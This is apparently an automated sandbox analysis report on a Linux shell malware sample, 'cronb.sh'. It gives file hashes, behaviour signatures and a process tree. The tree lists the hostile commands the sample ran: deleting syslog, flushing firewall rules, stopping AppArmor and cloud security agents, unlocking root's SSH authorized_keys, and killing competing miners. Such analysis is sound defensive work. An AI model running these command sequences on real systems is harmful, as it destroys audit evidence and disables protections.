Analysis
- max time kernel
9752s - max time network
123s - platform
linux_mips - resource
debian9-mipsbe-en-20211208 - submitted
31/03/2022, 14:02
Static task
static1
Behavioral task
behavioral1
Sample
cronb.sh
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
cronb.sh
Resource
debian9-armhf-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
cronb.sh
Resource
debian9-mipsbe-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
cronb.sh
Resource
debian9-mipsel-en-20211208
0 signatures
0 seconds
General
- Target cronb.sh
- Size 79KB
- Sample220331-rb4c7ahaek
- SHA256 7d7d0b4353401225e8da8424a7e1c5edaa091b256bdd48b7dcb158befca0b205
- MD5 2ac000e26102885305d056a5ee418faf
- SHA1 73716825db3b5a4f6fee892a3f3a7cfe7a9907d0
- SHA512 5f4a3c45f018062bb4e8ce5759db2d780076b247f2e9a7adf983f252fa1423af2ee053ef379c9d0cfe3d2ae33b608670046cfb32e1e1e97b9a77a34de8a432e6
- MD5 SHA1 SHA512
Score
9/10
Malware Config
Signatures
- Deletes system logs 1 TTPs 1 IoCs
description ioc Process /var/log/syslog /var/log/syslog rm - Writes file to system bin folder 1 TTPs 1 IoCs
description ioc Process /bin/egrep /bin/egrep egrep - Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
description ioc Process /etc/hosts /etc/hosts sudo - Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process /etc/resolv.conf /etc/resolv.conf sudo - Write file to user bin folder 1 TTPs 2 IoCs
description ioc Process /usr/sbin/service /usr/sbin/service service /usr/sbin/service /usr/sbin/service service - Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online kill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps - Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl - Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process /proc/225/status /proc/225/status ps /proc/251/status /proc/251/status pgrep /proc/6/cmdline /proc/6/cmdline pgrep /proc/70/status /proc/70/status pgrep /proc/15/status /proc/15/status ps /proc/273/stat /proc/273/stat ps /proc/80/status /proc/80/status ps /proc/308/cmdline /proc/308/cmdline ps /proc/69/cmdline /proc/69/cmdline ps /proc/72/stat /proc/72/stat ps /proc/324/cmdline /proc/324/cmdline pgrep /proc/70/cmdline /proc/70/cmdline pgrep /proc/273/status /proc/273/status ps /proc/273/cmdline /proc/273/cmdline ps /proc/322/status /proc/322/status ps /proc/226/stat /proc/226/stat ps /proc/142/cmdline /proc/142/cmdline ps /proc/224/status /proc/224/status pgrep /proc/142/status /proc/142/status pkill /proc/226/stat /proc/226/stat ps /proc/10/status /proc/10/status ps /proc/114/stat /proc/114/stat ps /proc/23/stat /proc/23/stat ps /proc/9/status /proc/9/status ps /proc/6/status /proc/6/status ps /proc/155/status /proc/155/status pgrep /proc/1/cmdline /proc/1/cmdline pgrep /proc/75/status /proc/75/status pkill /proc/2/status /proc/2/status ps /proc/224/stat /proc/224/stat ps /proc/5/cmdline /proc/5/cmdline ps /proc/255/stat /proc/255/stat ps /proc/225/status /proc/225/status ps /proc/255/status /proc/255/status pgrep /proc/225/cmdline /proc/225/cmdline pkill /proc/114/status /proc/114/status pkill /proc/18/status /proc/18/status ps /proc/251/stat /proc/251/stat ps /proc/10/status /proc/10/status pgrep /proc/15/cmdline /proc/15/cmdline ps /proc/1/cmdline /proc/1/cmdline ps /proc/74/status /proc/74/status ps /proc/938/stat /proc/938/stat ps /proc/filesystems /proc/filesystems systemctl /proc/255/status /proc/255/status ps /proc/6/stat /proc/6/stat ps /proc/114/cmdline /proc/114/cmdline ps /proc/114/status /proc/114/status pgrep /proc/252/status /proc/252/status pgrep /proc/10/status /proc/10/status pkill /proc/9/cmdline /proc/9/cmdline pkill /proc/14/stat /proc/14/stat ps /proc/73/cmdline /proc/73/cmdline ps /proc/207/status /proc/207/status ps /proc/307/status /proc/307/status pkill /proc/324/cmdline /proc/324/cmdline ps /proc/3/status /proc/3/status ps /proc/307/cmdline /proc/307/cmdline ps /proc/21/status /proc/21/status pgrep /proc/207/status /proc/207/status ps /proc/307/cmdline /proc/307/cmdline ps /proc/252/cmdline /proc/252/cmdline ps /proc/155/cmdline /proc/155/cmdline pkill /proc/295/status /proc/295/status ps - Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process /tmp/ /tmp/ chattr /tmp/ /tmp/ cronb.sh /tmp/addres* /tmp/addres* rm /tmp/walle* /tmp/walle* rm /tmp/keys /tmp/keys rm
Processes
-
./cronb.sh./cronb.sh1⤵
- Writes file to tmp directory
PID:324 -
/usr/bin/idid2⤵PID:325
-
-
/bin/mkdirmkdir /var/tmp/.copydie -p2⤵PID:329
-
-
/bin/rmrm -rf /var/log/syslog2⤵
- Deletes system logs
PID:333
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Writes file to tmp directory
PID:334
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:335
-
-
/sbin/iptablesiptables -F2⤵PID:337
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵
- Modifies hosts file
- Writes DNS configuration
PID:340 -
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:341
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵PID:342
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:343
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:344
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵
- Writes file to tmp directory
PID:345
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵
- Writes file to tmp directory
PID:346
-
-
/bin/rmrm -rf /tmp/keys2⤵
- Writes file to tmp directory
PID:347
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:348
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:349
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:350
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:351
-
-
/usr/sbin/serviceservice apparmor stop2⤵
- Write file to user bin folder
PID:353 -
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:354
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:355
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:356
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:360
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:361
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:362
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:363
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:364
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:365
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:366
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:367
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:368
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:369
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:370
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:371
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵PID:353
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵PID:353
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵PID:353
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵PID:353
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵PID:353
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Enumerates kernel/hardware configuration
PID:353
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Enumerates kernel/hardware configuration
PID:372
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵
- Write file to user bin folder
PID:373 -
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:374
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:375
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:376
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:380
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:381
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:382
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:383
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:384
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:385
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:386
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:387
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:388
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:389
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:390
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:391
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:373
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵PID:373
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:373
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵PID:373
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:373
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:373
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Enumerates kernel/hardware configuration
PID:392
-
-
/bin/psps aux2⤵PID:393
-
-
/bin/grepgrep -v grep2⤵PID:394
-
-
/bin/grepgrep aegis2⤵PID:395
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:396
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:397
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:398
-
-
/bin/grepgrep -v grep2⤵PID:399
-
-
/bin/grepgrep Yun2⤵PID:400
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:401
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:402
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:403
-
-
/bin/grepgrep 185.71.65.2382⤵PID:405
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:406
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:407
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:408
-
-
/bin/grepgrep 140.82.52.872⤵PID:410
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:411
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:412
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:413
-
-
/bin/grepgrep :4432⤵PID:415
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:416
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:417
-
-
/bin/grepgrep -v -2⤵PID:418
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:419
-
-
/bin/grepgrep :232⤵PID:421
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:422
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:423
-
-
/bin/grepgrep -v -2⤵PID:424
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:425
-
-
/bin/grepgrep :4432⤵PID:427
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:428
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:429
-
-
/bin/grepgrep -v -2⤵PID:430
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:431
-
-
/bin/grepgrep :1432⤵PID:433
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:434
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:435
-
-
/bin/grepgrep -v -2⤵PID:436
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:437
-
-
/bin/grepgrep :22222⤵PID:439
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:440
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:441
-
-
/bin/grepgrep -v -2⤵PID:442
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:443
-
-
/bin/grepgrep :33332⤵PID:445
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:446
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:447
-
-
/bin/grepgrep -v -2⤵PID:448
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:449
-
-
/bin/grepgrep :33892⤵PID:451
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:452
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:453
-
-
/bin/grepgrep -v -2⤵PID:454
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:455
-
-
/bin/grepgrep :55552⤵PID:457
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:458
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:459
-
-
/bin/grepgrep -v -2⤵PID:460
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:461
-
-
/bin/grepgrep :66662⤵PID:463
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:464
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:465
-
-
/bin/grepgrep -v -2⤵PID:466
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:467
-
-
/bin/grepgrep :66652⤵PID:469
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:470
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:471
-
-
/bin/grepgrep -v -2⤵PID:472
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:473
-
-
/bin/grepgrep :66672⤵PID:475
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:476
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:477
-
-
/bin/grepgrep -v -2⤵PID:478
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:479
-
-
/bin/grepgrep :77772⤵PID:481
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:482
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:483
-
-
/bin/grepgrep -v -2⤵PID:484
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:485
-
-
/bin/grepgrep :84442⤵PID:487
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:488
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:489
-
-
/bin/grepgrep -v -2⤵PID:490
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:491
-
-
/bin/grepgrep :33472⤵PID:493
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:494
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:495
-
-
/bin/grepgrep -v -2⤵PID:496
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:497
-
-
/bin/psps aux2⤵PID:498
-
-
/bin/grepgrep -v grep2⤵PID:499
-
-
/bin/grepgrep :33332⤵PID:500
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:501
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:502
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:503
-
-
/bin/grepgrep -v grep2⤵PID:504
-
-
/bin/grepgrep :55552⤵PID:505
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:506
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:507
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:508
-
-
/bin/grepgrep -v grep2⤵PID:509
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:510
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:511
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:512
-
-
/bin/psps aux2⤵PID:513
-
-
/bin/grepgrep -v grep2⤵PID:514
-
-
/bin/grepgrep log_2⤵PID:515
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:516
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:517
-
-
/bin/psps aux2⤵PID:518
-
-
/bin/grepgrep -v grep2⤵PID:519
-
-
/bin/grepgrep systemten2⤵PID:520
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:521
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:522
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:523
-
-
/bin/grepgrep -v grep2⤵PID:524
-
-
/bin/grepgrep netns2⤵PID:525
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:526
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:527
-
/usr/local/sbin/killkill -9 103⤵PID:528
-
-
/usr/local/bin/killkill -9 103⤵PID:528
-
-
/usr/sbin/killkill -9 103⤵PID:528
-
-
/usr/bin/killkill -9 103⤵PID:528
-
-
/sbin/killkill -9 103⤵PID:528
-
-
/bin/killkill -9 103⤵PID:528
-
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:529
-
-
/bin/grepgrep -v grep2⤵PID:530
-
-
/bin/grepgrep voltuned2⤵PID:531
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:532
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:533
-
-
/bin/psps aux2⤵PID:534
-
-
/bin/grepgrep -v grep2⤵PID:535
-
-
/bin/grepgrep darwin2⤵PID:536
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:537
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:538
-
-
/bin/psps aux2⤵PID:539
-
-
/bin/grepgrep -v grep2⤵PID:540
-
-
/bin/grepgrep /tmp/dl2⤵PID:541
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:542
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:543
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:544
-
-
/bin/grepgrep -v grep2⤵PID:545
-
-
/bin/grepgrep /tmp/ddg2⤵PID:546
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:547
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:548
-
-
/bin/psps aux2⤵PID:549
-
-
/bin/grepgrep -v grep2⤵PID:550
-
-
/bin/grepgrep /tmp/pprt2⤵PID:551
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:552
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:553
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:554
-
-
/bin/grepgrep -v grep2⤵PID:555
-
-
/bin/grepgrep /tmp/ppol2⤵PID:556
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:557
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:558
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:559
-
-
/bin/grepgrep -v grep2⤵PID:560
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:561
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:562
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:563
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:564
-
-
/bin/grepgrep -v grep2⤵PID:565
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:566
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:567
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:568
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:569
-
-
/bin/grepgrep -v grep2⤵PID:570
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:571
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:572
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:573
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:574
-
-
/bin/grepgrep -v grep2⤵PID:575
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:576
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:577
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:578
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:579
-
-
/bin/grepgrep -v grep2⤵PID:580
-
-
/bin/grepgrep 45.76.122.922⤵PID:581
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:582
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:583
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:584
-
-
/bin/grepgrep -v grep2⤵PID:585
-
-
/bin/grepgrep 51.38.191.1782⤵PID:586
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:587
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:588
-
-
/bin/psps aux2⤵PID:589
-
-
/bin/grepgrep -v grep2⤵PID:590
-
-
/bin/grepgrep 51.15.56.1612⤵PID:591
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:592
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:593
-
-
/bin/psps aux2⤵PID:594
-
-
/bin/grepgrep -v grep2⤵PID:595
-
-
/bin/grepgrep 86s.jpg2⤵PID:596
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:597
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:598
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:599
-
-
/bin/grepgrep -v grep2⤵PID:600
-
-
/bin/grepgrep aGTSGJJp2⤵PID:601
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:602
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:603
-
